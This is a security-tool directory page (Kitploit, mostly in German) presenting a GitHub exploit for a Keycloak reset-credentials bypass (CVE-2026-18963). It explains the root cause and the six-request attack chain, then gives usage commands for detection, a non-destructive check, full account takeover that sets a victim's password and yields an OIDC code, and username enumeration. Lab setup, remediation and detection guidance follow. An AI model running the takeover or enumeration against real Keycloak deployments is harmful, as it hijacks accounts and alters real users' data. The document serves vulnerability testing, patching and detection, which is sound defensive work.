Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-18963-Exploit — Exploit für Keycloak CVE-2026-18963, der eine nicht authentifizierte Übernahme von Konten über einen Reset-Credentials-Bypass ermöglicht. Enthält sichere Erkennung, nicht-destruktiven Nachweis, vollständige Übernahme, Benutzernamen-Enumeration sowie ein Labor mit verwundbaren und gepatchten Versionen. | Kitploit
Tools/GitHubGitHub/snizi/cve-2026-18963-exploit
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubsnizi/cve-2026-18963-exploit

CVE-2026-18963-Exploit

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

71vor 4 TagenNoch nicht geprüft

Exploit für Keycloak CVE-2026-18963, der eine nicht authentifizierte Übernahme von Konten über einen Reset-Credentials-Bypass ermöglicht. Enthält sichere Erkennung, nicht-destruktiven Nachweis, vollständige Übernahme, Benutzernamen-Enumeration sowie ein Labor mit verwundbaren und gepatchten Versionen.

Teilen

CVE-2026-18963 — Keycloak reset-credentials-Bypass → nicht authentifizierte Übernahme von Konten

CVE Affected Python Dependencies

Mit nur einem Benutzernamen oder einer E-Mail-Adresse setzt ein nicht authentifizierter Angreifer ein beliebiges Passwort auf einem beliebigen Keycloak-Konto. Die E-Mail zum Zurücksetzen des Passworts wird an das echte Opfer zugestellt und wird nie benötigt — der Angreifer liest nie ein Postfach, klickt nie auf einen Link und besitzt weder vorherige Anmeldedaten noch eine Sitzung.

Betroffen: Keycloak 26.0.0 – 26.7.1. Behoben in 26.7.2.


Bin ich verwundbar?

Ein Befehl. Kein gültiger Benutzername erforderlich und keine Nebenwirkungen — es sendet keine E-Mail, schreibt in kein Konto und stoppt vor dem ausnutzbaren Schritt.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit

python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check

root@kitploit:~
Python 3.9+, nur Standardbibliothek. Nichts zu installieren.

| Exit | Befund | Bedeutung |
|:---:|---|---|
| `0` | 🔴 **VERWUNDBAR** | das geparkte E-Mail-Gate wurde ausgeliefert — der Bug selbst |
| `2` | 🟢 **GEPATCHT** | der Ablauf verzweigte zum Login und blieb dort (Fix #51844 vorhanden) |
| `2` | 🟡 **ENTSCHÄRFT** | Reset-Anmeldedaten nicht erreichbar — *Passwort vergessen* ist deaktiviert. **Kein Patch.** |
| `3` | ⚪ **UNKLAR** | nicht erkannte Antwort — **nicht als bestanden werten** |

Pro Realm ausführen — *Passwort vergessen* ist eine Einstellung pro Realm, und `master` zählt.
Details und warum der Check keinen Benutzer benötigt und nichts verändert, in
[§4a](#4a-safe-detection---safe-check--start-here).

**Wissen Sie bereits, dass Sie exponiert sind?** Springen Sie zu [Behebung](#8-remediation) und
[Erkennung / Threat Hunting](#9-detection).

### Ohne Ziel ausprobieren

Das Repo enthält ein Labor, das eine verwundbare **26.7.1** und eine gepatchte **26.7.2**
nebeneinander gegen einen identischen Realm startet, plus ein Postfach, um die Reset-E-Mail
ankommen und ungelesen bleiben zu sehen, während das Konto übernommen wird:```bash
cd lab && docker compose up -d

python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
  --realm poc --client-id poc-app --safe-check   # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
  --realm poc --client-id poc-app --safe-check   # PATCHED

⚠️ Nur für autorisierte Tests

Dieses Repository existiert für Verteidiger, Incident Responder und autorisierte Penetrationstester. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine schriftliche Genehmigung zum Testen besitzen. Alles hier wird mit einem eigenständigen verwundbaren Labor (lab/) geliefert, sodass keine externen Systeme angefasst werden müssen, um zu lernen, wie der Fehler funktioniert. Die Ausrichtung auf Infrastruktur Dritter ohne Autorisierung ist in den meisten Rechtsordnungen illegal und wird von diesem Projekt nicht unterstützt.

Referenzen: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · Fix keycloak#51844


Inhalt

  • 1. Grundursache
  • 2. Betroffene Versionen (einschließlich Legacy-Linien)
  • 3. Das Labor
  • 4. Verwendung
    • 4a. Sichere Erkennung (--safe-check) — hier beginnen
    • 4b. Nicht-destruktiver Nachweis (--check)
    • 4c. Vollständige Übernahme
    • 4d. Benutzernamen-Enumeration (--enum)
  • 5. Benutzerdefinierte Login-Themes
  • 6. Bekannte Lücke — PKCE
  • 7. Durchgeführte Validierung
  • 8. Behebung
  • 9. Erkennung
  • Autor

1. Grundursache

Zwei Defekte, die verkettet sind. Keiner ist allein ausnutzbar.

Defekt 1 — ein nicht eingegrenztes, klebriges Flag

services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java

processAction() — jedes POST, das den Formularschlüssel tryAnotherWay trägt:```java processor.getAuthenticationSession().setAuthNote( AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true"); return createSelectAuthenticatorsScreen(model);

root@kitploit:~
Die Notiz ist ein **nackter boolescher Wert ohne Aufzeichnung darüber, zu welchem Ausführungssatz sie gehört**. Sie wird
nur in dem Zweig gelöscht, der einen übermittelten `authenticationExecution`-Parameter verarbeitet. Lässt man diesen Parameter weg — wie es dieser PoC durchgängig tut — bleibt das Flag für die gesamte Lebensdauer der Authentifizierungssitzung gesetzt.

`processFlow()` — solange das Flag wahr ist, wird die normale Flussauswertung übersprungen:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
    String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
    if (lastExecutionId != null) {
        AuthenticationExecutionModel executionModel =
            realm.getAuthenticationExecutionById(lastExecutionId);
        if (executionModel != null)
            return createSelectAuthenticatorsScreen(executionModel);   // <-- attacker-usable form
    }
}

Es rendert ein absendbares Formular, das auf die aktuell geparkte Ausführung abzielt, anstatt die Sitzung auf „Warten auf die E-Mail" festzunageln.

Der Klebstoff ist processResult() case FORK: — wenn Send Reset Email ausgelöst wird, stempelt es CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> und verzweigt den Browser zur Anmeldeseite. Die geparkte Ausführung ist genau das E-Mail-Gate.

Defekt 2 — das E-Mail-Gate prüft das Aktions-Token nie

`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }

root@kitploit:~
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so *reaching* `action()` is treated as equivalent to proving mailbox control.

### The chain```
tryAnotherWay POST            → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier      → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials    → sticky flag serves a form targeting the parked e-mail execution
POST that form                → ResetCredentialEmail.action() → success() → gate bypassed
                              → flow advances to UPDATE_PASSWORD → attacker sets the password

Sechs HTTP-Anfragen, keine Authentifizierung, an keiner Stelle ein authenticationExecution-Parameter.

Der Fix (PR #51844)

  • Die Note speichert nun model.getId(), und processFlow() berücksichtigt sie nur, wenn sie gleich CURRENT_AUTHENTICATION_EXECUTION ist, andernfalls entfernt sie sie. Im Angriff unterscheiden sich die beiden (choose-user-ID vs. e-mail-gate-ID) — genau das erkennt der Patch, und genau das ist das Signal, auf das --safe-check aufbaut.
  • ResetCredentialEmail.action() erfordert nun context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID)) und schlägt andernfalls mit INVALID_USER fehl.

2. Betroffene Versionen (einschließlich Legacy-Linien)

Was „Legacy" für diese CVE bedeutet

  • Legacy-Releases sind nicht automatisch sicher — sie sind aus einem bestimmten Grund sicher. Die Sticky-Boolean-Note wurde in 26.0.0 durch den Commit 6a9e60bb eingeführt, der den „Try another way"-Authenticator-Auswahlbildschirm zum Reset-Flow hinzufügte. Alles Ältere hat den Codepfad schlicht nicht. Das umfasst die alten WildFly-basierten Distributionen und RH-SSO 7.x, die von diesem Bug nicht betroffen sind, während sie weiterhin End-of-Life sind und für viele andere anfällig bleiben. Auf einem Legacy-Build zu bleiben ist keine Abhilfe.
  • Legacy-26.x-Linien sind das eigentliche Problem. 26.7.2 ist das einzige veröffentlichte Fix-Release im Community-Zug. Wenn eine Bereitstellung auf 26.0 – 26.6 läuft, gibt es kein Patch-Release auf dieser Linie — der Fix erfordert ein Minor-Versions-Upgrade, nicht ein Point-Release. Die Tags 26.4.15 / 26.6.6 sind Vendor-Backports und nicht mit Community-Images austauschbar.
  • Da so viele langlebige Bereitstellungen aus Kompatibilitätsgründen an einer älteren 26.x festhalten, ist „wir sind auf unserer Linie vollständig gepatcht" hier eine häufige und falsche Annahme. Prüfen Sie den laufenden Build, nicht die Update-Richtlinie.

Voraussetzungen: Der Realm hat Forgot password aktiviert und sein gebundener Reset-Credentials-Flow verwendet den eingebauten reset-credential-email-Authenticator.


3. Das Labor

Das Repo enthält sowohl ein verwundbares als auch ein gepatchtes Keycloak, die den identischen Realm importieren, sowie Mailpit zum Abfangen der Reset-Mail — so können Sie zusehen, wie sie eintrifft und ungelesen bleibt, während das Konto übernommen wird.```bash cd lab docker compose up -d

root@kitploit:~
| Service | URL | Version |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **verwundbar** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **gepatchte Kontrolle** |
| `kc-mailpit` | http://localhost:8025 | Postfach des Opfers |

Realm `poc`, öffentlicher Client `poc-app`, Benutzer `victim` / `OriginalPassw0rd!`, Keycloak
Admin `admin` / `admin`.

Verschiedene Builds mit `KC_VULN_VERSION` / `KC_PATCHED_VERSION` festlegen:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln

Zwischen den Läufen stellt lab/reset-victim.sh das Passwort des Opfers wieder her (KC=http://localhost:8100 lab/reset-victim.sh zielt auf die gepatchte Instanz).

lab/legit_reset.py führt einen echten Reset durch, indem es den Action-Token-Link aus Mailpit zieht und darauf klickt. Es ist die Kontrollprobe für die Erkennungsarbeit in §9 — führen Sie es und den Exploit gegen dasselbe Realm aus und vergleichen Sie dann die Traces.

Teardown: docker compose down -v.


4. Verwendung

Python 3.9+, nur Standardbibliothek — keine Abhängigkeiten, läuft auf jeder Jump-Box.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE

root@kitploit:~
`--client-id` kann jeder aktivierte öffentliche Client mit dem Standard-Flow sein. Der integrierte
`account`-Client existiert in jeder Realm und ist die zuverlässige Wahl, schränkt jedoch
Redirect-URIs ein, daher **muss** `--redirect-uri` dann
`<base>/realms/<realm>/account/` sein — der Standardwert wird abgelehnt und Schritt 1 schlägt fehl.

### 4a. Sichere Erkennung (`--safe-check`) — hier beginnen

Benötigt **keinen gültigen Benutzernamen** und hat **keine Nebenwirkungen**. Dies ist die Sonde, die du verwenden solltest,
wenn du das Ziel nicht stören darfst.```bash
python3 cve_2026_18963_poc.py \
  --base https://sso.example.com --realm corp \
  --client-id account \
  --redirect-uri https://sso.example.com/realms/corp/account/ \
  --safe-check

Warum es keinen Benutzer benötigt und keine E-Mail sendet. ResetCredentialEmail.authenticate() verzweigt auch bei unbekanntem Benutzer:```java if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }

root@kitploit:~
`processResult()` `case FORK:` parkt daher `CURRENT_AUTHENTICATION_EXECUTION`
auf der E-Mail-Ausführung, **obwohl niemand gefunden wurde** — und es wird keine Mail
gesendet, weil es niemanden gibt, an den man mailen könnte. Der Probe stoppt am Diskriminator und
POSTet das Gate nie, sodass `action()` nie läuft: kein NPE auf dem Ziel, kein `emailVerified`-
Write, keine Mail, kein Konto wird berührt.

**Es prüft nur auf das positive Signal.** VERWUNDBAR ⟺ Schritt 5 liefert ein Formular
zurück, das noch innerhalb von `login-actions/reset-credentials` liegt und dessen `execution`
sich von der Choose-User-Ausführung unterscheidet. Das *ist* der Bug: die veraltete
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED`-Notiz, die das geparkte E-Mail-Gate bedient.
Beide Hälften zählen — der Pfad beweist, dass wir uns noch im Reset-Flow befinden, die abweichende
Execution-ID beweist, dass es das E-Mail-Gate und kein Re-Render ist.

Alles andere wird **nicht** stillschweigend als gepatcht bezeichnet. PATCHED erfordert eigene Belege
(Verzweigung zu `login-actions/authenticate` *und* ein vorhandenes Passwort-Eingabefeld); alles
Übrige ist UNKLAR und braucht einen Menschen. Ein früheres Design behandelte „nicht das
Gate-Formular" als gepatcht, was stillschweigend jedes Custom-Theme, jede Fehlerseite, jeden WAF-
Block und jedes Interstitial in einen falschen Gesundheitsnachweis verwandelt.

### 4b. Nicht-destruktiver Nachweis (`--check`)

Treibt die gesamte Kette, stoppt aber am Update-Password-Formular. Das Erreichen dieses Formulars
ohne Action-Token ist eindeutig.```bash
python3 cve_2026_18963_poc.py \
  --base https://sso.example.com --realm corp \
  --client-id account \
  --redirect-uri https://sso.example.com/realms/corp/account/ \
  --victim [email protected] --check

Zwei Nebeneffekte sind unvermeidbar, da sie vorgelagert zum Passwortformular auftreten — nenne sie im Umfang des Engagements:

  • eine E-Mail zum Zurücksetzen des Passworts wird an das echte Opfer zugestellt (Schritt 4 ist eine echte Zurücksetzungsanfrage), und
  • die anfällige action() setzt emailVerified = true auf dem Konto.

Es wird keine Anmeldedaten geändert. Bevorzuge ein dediziertes Testkonto.

4c. Vollständige Übernahme

Nur für Labore oder ausdrücklich autorisierte Demonstrationen.```bash python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'

root@kitploit:~
Exit `0` verwundbar · `2` nicht ausnutzbar · `1` Passwort geändert, aber die Bestätigung
des Grants schlug fehl (weisen Sie `--verify-client-id` auf einen Client mit Direct Access Grants).

Der Abschluss des Flows liefert außerdem einen **OIDC-Autorisierungscode für das Opfer**, sodass
die Übernahme sofort erfolgt — kein zweiter Login mit dem neuen Passwort ist erforderlich.

### 4d. Benutzernamen-Enumeration (`--enum`)

Derselbe Fehler ist ein Benutzernamen-Orakel und ein stärkeres als Keycloak normalerweise
zulässt. `ResetCredentialEmail.authenticate()` gibt absichtlich eine identische
*„Sie sollten in Kürze eine E-Mail erhalten“*-Meldung für echte und unbekannte Benutzer zurück, sodass
das Reset-Formular selbst nicht zur Enumeration verwendet werden kann — diese Verteidigung gilt weiterhin bei Schritt 4. Sie bricht
bei **Schritt 6**, wo `action()` den Benutzer bedingungslos dereferenziert
(`context.getUser().setEmailVerified(true)`).

| Kennung | Schritt 6 | Ergebnis |
|---|---|---|
| echter Benutzer | `200`, erreicht das Passwort-Änderungsformular | GÜLTIG |
| unbekannter Benutzer | `400` (NPE-Fehlerseite) | UNGÜLTIG |```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc --client-id poc-app \
  --enum candidates.example.txt

Ändert niemals ein Passwort. Beendet mit 0, wenn eine Kennung aufgelöst wurde, andernfalls mit 2.

Kosten pro Probe – vor der Ausführung lesen. Das Erreichen des Orakels erfordert das Abschließen von Schritt 4, daher sendet jede Probe gegen ein echtes Konto dieser Person eine echte Passwort-Reset-E-Mail und setzt emailVerified = true in ihrem Datensatz. Es ist keine stille Prüfung: Sie ist für den Kontoinhaber sichtbar und verändert dessen Daten. Eine Wortliste mit 5.000 Namen bedeutet 5.000 E-Mails an echte Personen und 5.000 veränderte Konten.

Verwenden Sie es, um zu demonstrieren, dass das Orakel existiert, an einer Handvoll Kennungen für den Bericht – nicht, um ein Verzeichnis zu ernten. Die Schutzmechanismen sind bewusst konservativ:

  • --enum-max N verweigert Listen länger als N (Standard 25)
  • --enum-delay SEC pausiert zwischen den Proben (Standard 2.0)

Das Erhöhen einer dieser Werte sollte eine bewusste Entscheidung sein, die in den Engagement-Notizen festgehalten wird.

Berichtswinkel: Dies überwindet eine Anti-Enumeration-Kontrolle, die Keycloak absichtlich implementiert hat. Es lohnt sich, dies als eigenen Befund neben der Übernahme zu dokumentieren, und es entkräftet „unsere Benutzernamen sind nicht erratbar" als mildernden Faktor.


5. Benutzerdefinierte Login-Designs

Jede ernsthafte Bereitstellung bringt ein benutzerdefiniertes Login-Design mit, und benutzerdefinierte Designs benennen die Standard-Element-IDs um oder entfernen sie (kc-form-login, kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form). Ein Tool, das auf diese IDs setzt, meldet ein falsches Negativ genau bei den Bereitstellungen, die am wichtigsten sind – dieses hier tat das, bevor es neu geschrieben wurde. In freier Wildbahn gesehene Designs verwenden IDs wie id="login-form" und liefern einen Passwort vergessen-Anker mit einem leeren href.

Dieser PoC setzt daher auf nichts, was ein Design steuert:

  • Nur Formular-Action-URLs. Jede Entscheidung wird aus dem action= der Formulare auf der Seite getroffen – login-actions/reset-credentials, login-actions/authenticate, login-actions/required-action – sowie aus dem execution-Query-Parameter darin. Diese Pfade werden von Keycloaks eigenem LoginActionsService erzeugt, nicht vom Design.
  • Keine Element-IDs. grep Sie den Quellcode: Es gibt keine einzige kc-*-ID darin.
  • Kein Nachrichtentext. Antwortzeichenfolgen sind lokalisiert – ein deutsches Realm antwortet mit „Reset Credential nicht erlaubt", und ein Abgleich auf „You should receive an email" scheitert bei jedem nicht-englischen Realm.
  • Es folgt niemals einem gestalteten „Passwort vergessen"-Link. Der Link kann fehlen, leer, JavaScript-gesteuert sein oder vollständig außerhalb von Keycloak liegen – nichts davon sagt etwas darüber aus, ob der Endpunkt erreichbar ist. Das Tool konstruiert /realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… und testet es direkt, wobei tab_id aus dem Formular übernommen wird, das die Login-Seite tatsächlich bereitstellt.

Wenn ein Ziel weiterhin UNKLAR zurückgibt, führen Sie es mit --verbose --dump out.html aus und lesen Sie die Antwort – das Tool weigert sich bewusst zu raten.


6. Bekannte Lücke – PKCE

Ein Client, der PKCE erzwingt, lehnt Schritt 1 mit Missing parameter: code_challenge_method ab. Dies wird als UNKLAR (Exit 3) gemeldet, niemals als bestanden. Bis PKCE-Unterstützung eintrifft, kann ein Realm, dessen einziger nutzbarer öffentlicher Client PKCE vorschreibt, mit diesem Tool nicht geprüft werden – versuchen Sie den eingebauten account-Client, der dies normalerweise nicht erzwingt.


7. Durchgeführte Validierung

Jeder Lauf unten erfolgt gegen das Labor in diesem Repository, unter Verwendung des Codes wie veröffentlicht.

Zwei Befunde, die über den Advisory-Text hinaus erwähnenswert sind:

  1. Konten ohne E-Mail-Adresse sind ausnutzbar. ResetCredentialEmail.authenticate() nimmt den forkWithSuccessMessage-Pfad, wenn user.getEmail() null ist, was die Ausführung weiterhin über case FORK: parkt. Dasselbe gilt für einen SMTP-Sendefehler – ein defekter oder fehlender Mail-Server ist keine Entschärfung. Dies ist direkt relevant für AD/LDAP-föderierte Realms, in denen Konten häufig kein Mail-Attribut tragen.
  2. Das Abschließen des Flows meldet den Angreifer als das Opfer an. Die finale Weiterleitung trägt einen gültigen OIDC-Autorisierungscode, sodass das Konto in dem Moment kompromittiert ist, in dem das Passwortformular übermittelt wird.

MFA ist keine Entschärfung. Der Standard-Reset-Credentials-Flow enthält keinen OTP-Schritt, und einmal durchgekommen kann der Angreifer die registrierten Faktoren des Opfers entfernen.


8. Abhilfe

Fix: Upgrade. 26.7.2 für Community-Builds oder das zum Abonnement passende Vendor-Backport-Tag. Alles unten ist ein Notbehelf.

Zwischenlösungen, beste zuerst:

  1. Deaktivieren Sie Passwort vergessen pro Realm (Realm-Einstellungen → Login). Bestätigt wirksam – der Flow gibt HTTP 400 zurück und kann nicht betreten werden. Prüfen Sie jedes Realm, einschließlich master.
  2. Deaktivieren Sie die Passwort zurücksetzen-Ausführung im gebundenen Reset-Credentials-Flow. Funktioniert, aber die Login-Seite bietet den Link weiterhin an, daher ist die UX schlecht. Nützlich, wo ein benutzerdefiniertes Design den Realm-Schalter ignoriert.
  3. Fügen Sie einen erforderlichen Authentifikator (OTP/WebAuthn) nach dem E-Mail-Schritt im Reset-Flow hinzu. Dies schließt den Bypass nicht – es begrenzt nur die vollständige Übernahme auf Konten, die diesen Faktor tatsächlich registriert haben.

Realms, deren gebundener Reset-Flow vollständig benutzerdefiniert ist und reset-credential-email niemals aufruft, sind über diesen Pfad nicht ausnutzbar.


9. Erkennung

Keycloak gibt kein „Action-Token übersprungen"-Ereignis aus, daher ist die Erkennung heuristisch. Führen Sie lab/legit_reset.py neben dem Exploit aus, um beide Spuren zu erzeugen und zu vergleichen.

  • Reverse-Proxy-/Ingress-Logs – das stärkste Signal. Ein legitimer Reset zeigt ein GET /login-actions/action-token?... (das Opfer klickt auf die Mail) vor der Passwortänderung. Der Bypass hat kein solches GET. Stattdessen zeigt er ein POST an login-actions/reset-credentials, dessen Body tryAnotherWay enthält, gefolgt von einem zweiten POST an denselben Pfad mit leerem Body, dann das Passwortformular. Ein tryAnotherWay-POST innerhalb des Reset-Flows wird von der Standard-UI im normalen Gebrauch nicht erzeugt.
  • Admin-Ereignisse: SEND_RESET_PASSWORD gefolgt von UPDATE_PASSWORD, die innerhalb weniger Sekunden dieselbe code_id teilen – im Labor unter einer Sekunde. Ein Benutzer mit bereits geöffneter Mail kann ebenfalls schnell aussehen, daher mit den Proxy-Logs abgleichen.
  • Konten, deren emailVerified auf true umgeschaltet wurde ohne entsprechendes VERIFY_EMAIL-Ereignis sind ein nützlicher unterstützender Indikator und einer, den der Angreifer nicht vermeiden kann zu hinterlassen.

Das Fehlen von Ereignissen beweist nichts, wenn Ereignisprotokollierung oder -aufbewahrung deaktiviert war. Prüfen Sie das Aufbewahrungsfenster, bevor Sie schlussfolgern, dass eine Bereitstellung nicht betroffen war.


Autor

Snizi — github.com/Snizi — [email protected]

Veröffentlicht unter der MIT-Lizenz. Issues und PRs willkommen – insbesondere PKCE-Unterstützung und zusätzliche Eigenheiten realer Designs.

Tool herunterladen
LinieVerwundbarCommunity-Fix
Legacy (WildFly-basiertes Keycloak, ≤ 17)nicht betroffen—
Quarkus 17 – 25.xnicht betroffen—
26.026.0.0 – 26.0.17keine
26.126.1.0 – 26.1.5keine
26.226.2.0 – 26.2.16keine
26.326.3.0 – 26.3.5keine
26.426.4.0 – 26.4.1426.4.15 (Vendor-Backport-Tag)
26.526.5.0 – 26.5.7keine
26.626.6.0 – 26.6.526.6.6 (Vendor-Backport-Tag)
26.726.7.0 – 26.7.126.7.2
ExitVerdictBedeutung
0VERWUNDBARder geparkte E-Mail-Gate wurde ausgeliefert — der Bug selbst
2GEPATCHTder Ablauf verzweigte zum Login und blieb dort (Fix #51844 vorhanden)
2ENTSCHÄRFTReset-Credentials nicht erreichbar — Passwort vergessen ist deaktiviert. Kein Patch.
3UNKLARnicht erkannte Antwort — nicht als bestanden werten
TestZielErgebnis
--safe-check26.7.1VERWUNDBAR, Exit 0 – E-Mail-Gate bedient (execution ≠ choose-user)
--safe-check26.7.2GEPATCHT, Exit 2 – zum Login verzweigt und dort geblieben
--safe-check, Passwort vergessen aus26.7.2ENTSCHÄRFT, Exit 2 – HTTP 400, Flow nicht erreichbar
Vollständige Übernahme26.7.1Exit 0 – Passwort gesetzt, OIDC-Code ausgestellt, Password-Grant bestätigt
Vollständige Übernahme26.7.2Exit 2 – bei Schritt 5 blockiert, Konto unberührt
--check26.7.1UPDATE_PASSWORD erreicht; Passwort danach als unverändert verifiziert
--enum26.7.1victim und [email protected] GÜLTIG, does-not-exist UNGÜLTIG
Anmeldedatenstatus nach Übernahme26.7.1neues Passwort → 200, altes Passwort → 400
Anmeldedatenstatus nach blockiertem Lauf26.7.2altes Passwort → 200, Angreifer-Passwort → 400
Opfer-PostfachMailpitReset-Mails zugestellt und ungelesen; der Action-Token-Link wird nie abgerufen